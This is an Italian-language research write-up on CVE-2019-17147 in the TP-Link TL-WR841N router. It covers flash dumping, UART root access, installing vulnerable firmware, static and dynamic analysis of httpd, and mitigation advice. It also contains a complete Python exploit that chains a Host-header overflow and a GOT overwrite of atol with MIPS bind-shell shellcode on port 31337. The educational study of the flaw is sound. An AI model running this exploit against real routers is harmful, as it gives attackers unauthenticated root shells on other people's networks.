5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Router_Exploitation_Guida.md MD
# Router Analysis and Exploitation: CVE-2019-17147

**Autori:** Angelo Zullo, Simone Vitto, Vincenzo Cantatore

## Sommario

1. [Introduzione](#1-introduzione)
2. [Creazione dell’infrastruttura](#2-creazione-dellinfrastruttura)
    *   2.1 [Analisi fisica del router](#21-analisi-fisica-del-router)
    *   2.2 [Dump del contenuto della memoria](#22-dump-del-contenuto-della-memoria)
    *   2.3 [Accesso alla console del router tramite porta UART](#23-accesso-alla-console-del-router-tramite-porta-uart)
    *   2.4 [Sostituzione del firmware attuale con la versione vulnerabile](#24-sostituzione-del-firmware-attuale-con-la-versione-vulnerabile)
    11. [Scoperta ed exploitation della vulnerabilità](#3-scoperta-ed-exploitation-della-vulnerabilità)
    *   3.1 [Analisi statica](#31-analisi-statica)
    *   3.2 [Analisi dinamica](#32-analisi-dinamica)
    *   3.3 [Scrittura dell’exploit](#33-scrittura-dellexploit)
15. [Mitigazione della vulnerabilità](#4-mitigazione-della-vulnerabilità)
16. [Conclusioni](#5-conclusioni)

---

## 1. Introduzione

Il presente documento analizza il processo di reverse engineering e di exploitation di una vulnerabilità critica su un dispositivo di rete commerciale. L'obiettivo è documentare le fasi necessarie per ottenere l'esecuzione di codice arbitrario (RCE), partendo dall'analisi hardware fino allo sviluppo di un exploit software funzionante.

Il caso di studio esaminato riguarda il router **TP-Link TL-WR841N** (architettura **MIPSEL**), affetto dalla vulnerabilità nota come **CVE-2019-17147**.

![][image2]

---

## 2. Creazione dell’infrastruttura

### 2.1 Analisi fisica del router

L'indagine preliminare ha richiesto l'apertura del case del dispositivo per consentire l'accesso diretto alla scheda madre (PCB).

![][image3]

L'ispezione visiva dei circuiti integrati ha permesso di identificare i componenti chiave: la CPU, la memoria RAM e la memoria Flash.
Sulla parte destra della PCB è stata individuata l'interfaccia UART, essenziale per le operazioni di debug.
L'attenzione si è focalizzata sulla memoria Flash, componente deputato alla conservazione del firmware.

![][image4]

Consultando il datasheet del chip **Feon QH32B-104HIP**, è stato confermato che si tratta di una memoria SPI (Serial Peripheral Interface) NOR Flash prodotta da Feon Microelectronics, con capacità di 32 Megabit e tensione operativa compresa tra 2,7 e 3,6 V.

![][image5]

### 2.2 Dump del contenuto della memoria

Al fine di ottenere una copia di backup del firmware originale e analizzarne il contenuto, si procede con l'estrazione (dump) della memoria. Questa operazione è cruciale per prevenire la perdita definitiva del dispositivo in caso di errori critici (brick).

Per la lettura si utilizza un programmatore **CH341A**, interfacciato direttamente al chip tramite una pinza **SOIC8** (In-Circuit Programming), evitando così operazioni di dissaldatura.

![][image6]![][image7]

Mediante il tool `flashrom`, si verifica inizialmente il rilevamento del chip:

```bash
sudo flashrom -p ch341a_spi
```

Successivamente, si esegue la lettura completa della memoria:

```bash
sudo flashrom -p ch341a_spi -r dump.bin
```

Il firmware estratto viene salvato nel file `dump.bin`. Infine, si verifica l'integrità dei dati acquisiti:

```bash
sudo flashrom -p ch341a_spi -v dump.bin
```

Il file ottenuto può essere utilizzato per il ripristino del sistema o sottoposto ad analisi per l'individuazione di credenziali o configurazioni sensibili.

### 2.3 Accesso alla console del router tramite porta UART

Per stabilire una comunicazione seriale con il dispositivo, ci si connette all'interfaccia UART mediante un convertitore USB-TTL.
I collegamenti effettuati sono: **GND-GND**, **TX-RX**, **RX-TX**. Il pin VCC viene isolato, in quanto l'alimentazione è fornita direttamente dall'alimentatore del router.

![][image8]

Si configura il terminale seriale `minicom` con i seguenti parametri standard:

```bash
sudo minicom -s
```

*   `Serial Device`: `/dev/ttyUSB0`
*   `Bps/Par/Bits`: `115200 8N1`

All'avvio del router, la console visualizza i log di boot. Al termine della procedura di avvio, l'interfaccia fornisce l'accesso a una shell di root senza richiedere credenziali di autenticazione.

![][image9]

### 2.4 Sostituzione del firmware attuale con la versione vulnerabile

Per riprodurre la vulnerabilità, è necessario installare la versione firmware affetta dal bug: `TL-WR841N(US)_V14_180319`.
Dato che il firmware vulnerabile non è più distribuito ufficialmente, è stato recuperato tramite archivi storici digitali (Wayback Machine).

![][image10]

Dopo aver scaricato la versione corretta:

![][image11]

Si nota una discrepanza hardware: il dispositivo in uso è versione **EU** (Europa), mentre il firmware vulnerabile è destinato alla versione **US**. Il flash diretto dell'intero file binario comporterebbe un alto rischio di brick, a causa delle differenze nel bootloader e nelle configurazioni radio.
Si procede, pertanto, all'estrazione e sostituzione selettiva delle sole partizioni del sistema operativo.

Utilizzando `binwalk`, si identificano gli offset delle partizioni:

```bash
binwalk TL-WR841Nv14_US.bin
```

Si estraggono le partizioni di interesse (`boot`, `kernel`, `rootfs`) tramite `dd`:

```bash
dd if=TL-WR841Nv14_US.bin of=mtd0_boot.bin bs=1 skip=53952 count=$((66560 - 53952))
dd if=TL-WR841Nv14_US.bin of=mtd1_kernel.bin bs=1 skip=66560 count=$((1049088 - 66560))
dd if=TL-WR841Nv14_US.bin of=mtd2_rootfs.bin bs=1 skip=1049088
```

Per la scrittura sulla memoria flash del router, è necessario il tool `flashcp` (parte della suite `mtd-utils`) compilato per architettura **MIPSEL**.
Per ottenerlo, si emula un ambiente MIPSEL tramite **QEMU**:

```bash
qemu-system-mipsel \
-M malta -m 1G \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append “root=/dev/hda1 console=ttyS0 ignore_loglevel” \
-serial mon:stdio \
-net nic -net user
```

![][image12]

All'interno dell'ambiente emulato, si installano le utility necessarie:

```bash
apt-get install mtd-utils
which flashcp
```

![][image13]

Per trasferire i file sul router, si predispone un server TFTP sulla macchina host:

```bash
sudo atfpd --no-fork --daemon --port 6969 --bind-address 0.0.0.0 /srv/tftp
```

Dalla console del router, si scaricano `flashcp` e le partizioni estratte:

```bash
tftp -g -r flashcp 192.168.1.2 6969
chmod +x flashcp
tftp -g -r mtd0_boot.bin 192.168.1.2 6969
tftp -g -r mtd1_kernel.bin 192.168.1.2 6969
tftp -g -r mtd2_rootfs.bin 192.168.1.2 6969
```

Infine, si esegue la riscrittura delle partizioni:

```bash
./flashcp mtd0_boot.bin /dev/mtd0
./flashcp mtd1_kernel.bin /dev/mtd1
./flashcp mtd2_rootfs.bin /dev/mtd2
```

Il dispositivo è ora configurato con il firmware vulnerabile, pronto per la fase di analisi.

---

## 3. Scoperta ed exploitation della vulnerabilità

### 3.1 Analisi statica

L'analisi del firmware inizia con l'estrazione del filesystem dalla partizione `rootfs.bin` tramite `binwalk -Me`.

![][image14]

Esplorando la struttura delle directory:

![][image15]

L'obiettivo è individuare binari esposti che gestiscano input esterni. Il target ideale è il servizio web di amministrazione, situato in `/usr/bin/httpd`.

![][image17]

Httpd è l’acronimo di HyperText Protocol Daemon ed è un software che svolge la funzione di web server.
Utilizziamo IDA per decompilare e analizzare il file:

![][image18]

Il file viene analizzato con il disassemblatore **IDA Pro**.
Fortunatamente il binario non è *stripped*, mantenendo visibili i simboli e i nomi delle funzioni, il che facilita notevolmente il reverse engineering. L'attenzione si concentra sulle funzioni di parsing, vettori comuni di vulnerabilità.

![][image19]


Iniziamo analizzando la funzione `http_parser_main` che conterrà sicuramente la logica principale del parser.
La prima cosa che notiamo è che, oltre ad una lunga lista di variabili all’inizio della funzione, c’è una chiamata alla funzione `memset`:

![][image20]

Questa funzione azzera tutti i 512 byte di “buffer”, quindi mentre procediamo con l’analisi della funzione e rinominiamo tutte le variabili per una migliore comprensione, analizziamo in che maniera viene utilizzato questo buffer.

![][image21]
![][image22]





Si osserva l'utilizzo di una funzione custom denominata `cstr_strncpy` per la gestione degli header HTTP (es. `Host`). Questa funzione accetta un parametro `copy_len` che determina la quantità di dati da copiare. Se questo parametro deriva dalla lunghezza dell'input utente anziché dalla dimensione del buffer di destinazione, si configura una vulnerabilità di tipo **Stack Buffer Overflow**.

Confronto tra i prototipi:

```c
char *strcpy(char *string1, const char *string2);
void cstr_strncpy(char *dest_buffer, const char *src_buffer, int copy_len);
```

L'analisi del codice assembly MIPSEL conferma il comportamento della funzione:

![][image23]

> **Importante:** lo snippet soprastante illustra la logica interna di `cstr_strncpy` e non costituisce il payload dell'exploit.

**Analisi dei registri:**

```text
0x405DF4 cstr_strncpy call
0x405DE4 a0 = vuln_buff
0x405DEC a1 = $s7
0x405DF0 a2 = $v0
```

Dove:
*   `a0` (vuln_buff): Buffer di destinazione (Stack).
*   `a1` ($s7): Stringa sorgente (Header HTTP controllato dall'utente).
*   `a2` ($v0): Lunghezza della copia (Lunghezza stringa sorgente).

Un'altra funzione critica per l'exploit è `http_parser_argStrToList`, che converte una stringa in una struttura dati a lista concatenata (linked list).

![][image24]

La struttura dati gestita è così composta:

![][image25]

La struct contiene due puntatori fondamentali: al nodo precedente e al nodo successivo.

![][image26]

L'operazione di scrittura in memoria avviene tramite l'istruzione `sw` (Store Word):

![][image47]

![][image27]

Controllando il contenuto di questi puntatori tramite l'overflow, è possibile indirizzare l'istruzione `sw` verso un indirizzo arbitrario, realizzando una primitiva di scrittura **Write-What-Where**.

Il codice completo delle funzioni analizzate è disponibile su GitHub:
[https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions](https://github.com/imnot-ye/CVE-2019-17147/tree/main/Reversed%20Functions)

### 3.2 Analisi dinamica

Per verificare l'overflow e studiare il comportamento del processo a runtime, si utilizza il debugging remoto.

Viene caricato `gdbserver` (compilato per MIPSEL) sul router:

```bash
tftp -g -r gdbserver 192.168.1.2 6969
chmod +x gdbserver
```

![][image28]

Si individua il PID del processo `httpd` (es. 320):

![][image29]

Si avvia il debugger in ascolto sulla porta 4444:

```bash
./gdbserver 0.0.0.0:4444 –attach 320
```

Dalla workstation di analisi, si avvia `gdb-multiarch` per la connessione remota.

![][image30]

Viene utilizzato un primo script Python (PoC) per inviare un payload eccedente i 512 byte:

```python
#!/usr/bin/python3

from pwn import *
import sys
import urllib.request
import urllib.parse

# ... (configurazione classi e connessione) ...

def exploit():
    target_ip = '192.168.0.1'
    w = WebService(target_ip)
    # Payload: 512 bytes di padding + overwrite
    host_padding = b'A' * 512 + b'A'*6
    w.make_req('/qr.htm', host=host_padding)
    # Trigger parsing
    w.make_req('/qr.htm', {'_':'hello'})
    print("[+] Done!")

if __name__ == '__main__':
    exploit()
```

L'esecuzione del PoC causa il crash del servizio `httpd`. Analizzando il registro del crash in GDB:

![][image31]![][image32]

Si osserva un tentativo di dereferenziazione dell'indirizzo **0x41414145** (corrispondente alla stringa "AAAE"). Il crash avviene all'interno di `http_parser_argStrToList`, confermando che l'overflow sovrascrive i puntatori della lista concatenata.

Per pianificare l'exploit, è necessario analizzare le protezioni della memoria:

*   **Area dell'overflow:** Heap.
*   **Permessi:** Dall'analisi della mappa di memoria (`vmmap`), l'area Heap risulta avere permessi **RWX** (Read, Write, Execute).

![][image33]

La presenza di un Heap eseguibile è una vulnerabilità critica che semplifica notevolmente l'attacco, permettendo l'esecuzione diretta di shellcode senza ricorrere a tecniche ROP complesse.

![][image34]

Analizzando il contenuto della memoria dopo il crash, confermiamo il controllo sui dati:

![][image35]

### 3.3 Scrittura dell’exploit

La strategia di exploitation si basa su tre pilastri:

1.  **Possibilità di Overflow:** Capacità di scrivere oltre i limiti del buffer.
2.  **Corruzione dei Puntatori:** Controllo dei puntatori `next` e `prev` della struct, permettendo scritture arbitrarie (Write-What-Where).
3.  **Heap Eseguibile:** Possibilità di eseguire codice iniettato.

La tecnica scelta consiste nel sovrascrivere una voce della **Global Offset Table (GOT)**. Il target ideale è la funzione `atol`, frequentemente chiamata dal programma. Sovrascrivendo l'indirizzo di `atol` nella GOT con l'indirizzo del nostro shellcode (iniettato nell'Heap), otterremo l'esecuzione arbitraria alla successiva chiamata di tale funzione.

#### Fase di debugging e raffinamento

Durante i test iniziali, si è osservato il comportamento della sovrascrittura:

![][image36]

Il meccanismo di aggiornamento della lista concatenata copia i dati dallo stack all'indirizzo puntato dai registri corrotti.

![][image37]

Inviando un payload malevolo:

![][image38]

I puntatori della lista vengono sovrascritti. La logica della lista concatenata ("unlink" o aggiornamento nodi) utilizza questi indirizzi corrotti per effettuare scritture. Se controlliamo `next` e `prev`, controlliamo **dove** e **cosa** viene scritto.

![][image39]

Durante lo sviluppo dell'exploit, è emersa una problematica legata ai "Bad Characters".

![][image40]

L'indirizzo target conteneva un byte nullo (`\x00`). La funzione `strcpy` termina la copia al primo byte nullo, troncando il payload e rendendo l'attacco inefficace.

![][image41]

#### Soluzione: Staged Payload

Per aggirare la limitazione dei byte nulli, si adotta una tecnica di iniezione a stadi ("Staged Injection"). Poiché il processo riutilizza la stessa area di memoria (Heap) persistente, è possibile inviare più richieste consecutive per comporre il payload finale in memoria un pezzo alla volta.

```python
# Stage 1: Iniezione Shellcode (parte alta)
payload_1= host_padding + b'AAAA' + p32(shellcode_addr, endian='little')
w.make_req('/qr.htm', host=payload_1)

# Stage 2: Scrittura indirizzo GOT (aggira il null byte finale)
print("[+] Overflowing buffer")
payload_2 = host_padding + p32(atol_got_addr, endian='little')
w.make_req('/qr.htm', host=payload_2)
```

![][image42]

#### Riepilogo tecnico dell'attacco

*   **Vulnerabilità:** Stack-based Buffer Overflow in `cstr_strncpy`.
*   **Vettore:** Manipolazione puntatori Linked List (`http_parser_argStrToList`).
*   **Payload:** Shellcode MIPS (Bind Shell).
*   **Esecuzione:** Heap Spraying + GOT Overwrite (`atol` -> `Shellcode`).

#### Codice finale dell'exploit

Il seguente script Python automatizza l'intero processo:

```python
#!/usr/bin/python3

from pwn import *
import sys
import urllib.request
import urllib.parse

context.clear()
context.arch = 'mips'
context.bits = 32
context.endian = 'little'

class WebService:
    def __init__(self, ip, port=80):
        self.rooturl = "http://" + ip + ':' + str(port)

    def make_req(self, path, arg=None, host='192.168.0.1', has_ContentLength=False):
        headers = {'Host': host}
        if has_ContentLength:
            headers['Content-Length'] = '0'
        if arg is not None:
            parameter = arg
            parameter = urllib.parse.urlencode(parameter)
            fullurl = self.rooturl + path + '?' + parameter
        else:
            fullurl = self.rooturl + path
        req = urllib.request.Request(fullurl, None, headers)
        response = urllib.request.urlopen(req)
        data = response.read()
        return data

def shellcode(port=31337):
    # Generazione shellcode Bind Shell
    shellcode = shellcraft.mips.linux.bindsh(port)
    return asm(shellcode)

def exploit():
    target_ip = '192.168.0.1'
    w = WebService(target_ip)
    
    # Indirizzi target (specifici per questa versione firmware)
    atol_got_addr = 0x423774 - 4
    host_padding = b'a' * 512
    shellcode_addr =  0x438174

    print(f"[*] Attacking target: {target_ip}")
    print(f"[*] GOT Address (atol): {hex(atol_got_addr)}")
    
    # Stage 1: Scrittura indirizzo Shellcode
    print("[*] Stage 1: Writing Shellcode Address...")
    host_str = host_padding + b'AAAA' + p32(shellcode_addr, endian='little')
    w.make_req('/qr.htm', host=host_str)
    
    # Stage 2: Scrittura indirizzo GOT
    print("[*] Stage 2: Writing GOT Address...")
    host_str = host_padding + p32(atol_got_addr, endian='little')
    w.make_req('/qr.htm', host=host_str)
    
    # Stage 3: Trigger Write-What-Where
    print("[*] Stage 3: Overwriting GOT entry...")
    w.make_req('/qr.htm', {'_':'hello'})
    
    # Stage 4: Invio Payload Shellcode
    print("[*] Stage 4: Sending Shellcode payload...")
    # NOP Sled + Shellcode
    host_str = b'q'*0x40 + shellcode(31337)
    w.make_req('/qr.htm', host=host_str)

    # Stage 5: Hijacking flusso di esecuzione
    print("[*] Stage 5: Triggering execution via atol()...")
    try:
        # Forza chiamata ad atol tramite Content-Length
        w.make_req('/qr.htm', has_ContentLength=True)
    except Exception:
        pass
        
    print("[+] Exploit sent! Try connecting: nc 192.168.0.1 31337")

if __name__ == '__main__':
    exploit()
```

Eseguendo l'exploit:

![][image43]

È possibile connettersi alla shell remota ottenuta sulla porta 31337:

![][image44]

L'accesso root al sistema è stato ottenuto con successo.

---

## 4. Mitigazione della vulnerabilità

La correzione della vulnerabilità a livello di codice sorgente richiede l'implementazione di controlli sulla lunghezza dei dati copiati. È imperativo non utilizzare la lunghezza della stringa sorgente come limite per la copia.

**Correzione proposta (Secure Coding):**

Utilizzare la dimensione del buffer di destinazione come limite invalicabile:

```c
// Errato: cstr_strncpy(&buffer, header_value, strlen(header_value));
// Corretto:
size_t buffer_len = sizeof(buffer);
cstr_strncpy(&buffer, header_value, buffer_len - 1);
```

Inoltre, l'assenza di protezioni standard a livello di compilazione aggrava notevolmente il rischio. Sebbene non sia possibile confermare la stabilità del sistema con tutte le protezioni attive senza test approfonditi, è fortemente raccomandato abilitare il bit **NX (No-Execute)** per rendere stack e heap non eseguibili. Questo avrebbe impedito l'esecuzione diretta dello shellcode iniettato nell'heap.

---

## 5. Conclusioni

Il presente studio ha analizzato in dettaglio la vulnerabilità **CVE-2019-17147**, dimostrando come un errore di validazione dell'input in un componente critico come il web server possa compromettere l'intera sicurezza del dispositivo.

La vulnerabilità è classificata con un punteggio **CVSS v3.1 di 8.8 (High)**, indice di un rischio elevato dovuto alla facilità di sfruttamento (nessuna autenticazione richiesta, attacco via rete locale) e all'impatto totale su confidenzialità, integrità e disponibilità.

Riferimento ufficiale: [NIST NVD - CVE-2019-17147](https://nvd.nist.gov/vuln/detail/CVE-2019-17147)

![][image45]![][image46]

L'analisi evidenzia l'importanza cruciale di mantenere aggiornato il firmware dei dispositivi di rete e sottolinea la necessità, per i produttori, di adottare pratiche di sviluppo sicuro (Secure Coding) e di implementare le moderne protezioni dei binari (Exploit Mitigation) per ridurre la superficie di attacco.

---

[image1]: https://i.imgur.com/57h4lq9.png
[image2]: https://i.imgur.com/9FyOyA8.png
[image3]: https://i.imgur.com/r2KRvyd.png
[image4]: https://i.imgur.com/eNq1fy1.png
[image5]: https://i.imgur.com/4hLGnr1.png
[image6]: https://i.imgur.com/DXMTLqB.png
[image7]: https://i.imgur.com/lPxHp1d.png
[image8]: https://i.imgur.com/1zxGWQF.png
[image9]: https://i.imgur.com/RdNmm21.png
[image10]: https://i.imgur.com/5By4Yks.png
[image11]: https://i.imgur.com/cG21KXP.png
[image12]: https://i.imgur.com/esYYq3a.png
[image13]: https://i.imgur.com/SHSgop2.png
[image14]: https://i.imgur.com/G4fRMR0.png
[image15]: https://i.imgur.com/f7kelSK.png
[image16]: https://imgur.com/Pg4pJoW
[image17]: https://i.imgur.com/A9bGDkY.png
[image18]: https://i.imgur.com/fFJk85Y.png
[image19]: https://i.imgur.com/C4QzgrS.png
[image20]: https://i.imgur.com/o8mTQdr.png
[image21]: https://i.imgur.com/S9MoFgC.png
[image22]: https://i.imgur.com/xDCXqGs.png
[image23]: https://i.imgur.com/eUA3HiB.png
[image24]: https://i.imgur.com/5aNZeAK.png
[image25]: https://i.imgur.com/YAGxXgK.png
[image26]: https://i.imgur.com/97GFrit.png
[image27]: https://i.imgur.com/1XtoxzV.png
[image28]: https://i.imgur.com/GuPxiBC.png
[image29]: https://i.imgur.com/VOndPog.png
[image30]: https://i.imgur.com/IZE2pks.png
[image31]: https://i.imgur.com/Mcwofms.png
[image32]: https://i.imgur.com/0Tf9ovL.png
[image33]: https://i.imgur.com/miaXTwA.png
[image34]: https://i.imgur.com/0Qx25gg.png
[image35]: https://i.imgur.com/zkplkQi.png
[image36]: https://i.imgur.com/9EUgeh2.png
[image37]: https://i.imgur.com/Il4dma9.png
[image38]: https://i.imgur.com/BHwGcO5.png
[image39]: https://i.imgur.com/TKLnVo9.png
[image40]: https://i.imgur.com/ArVJX51.png
[image41]: https://i.imgur.com/DLK0K2A.png
[image42]: https://i.imgur.com/pPcii46.png
[image43]: https://i.imgur.com/I45F1th.png
[image44]: https://i.imgur.com/72adjQX.png
[image45]: https://i.imgur.com/AH3nyCz.png
[image46]: https://i.imgur.com/BNZrOUc.png
[image47]:https://i.imgur.com/8WepAhY.png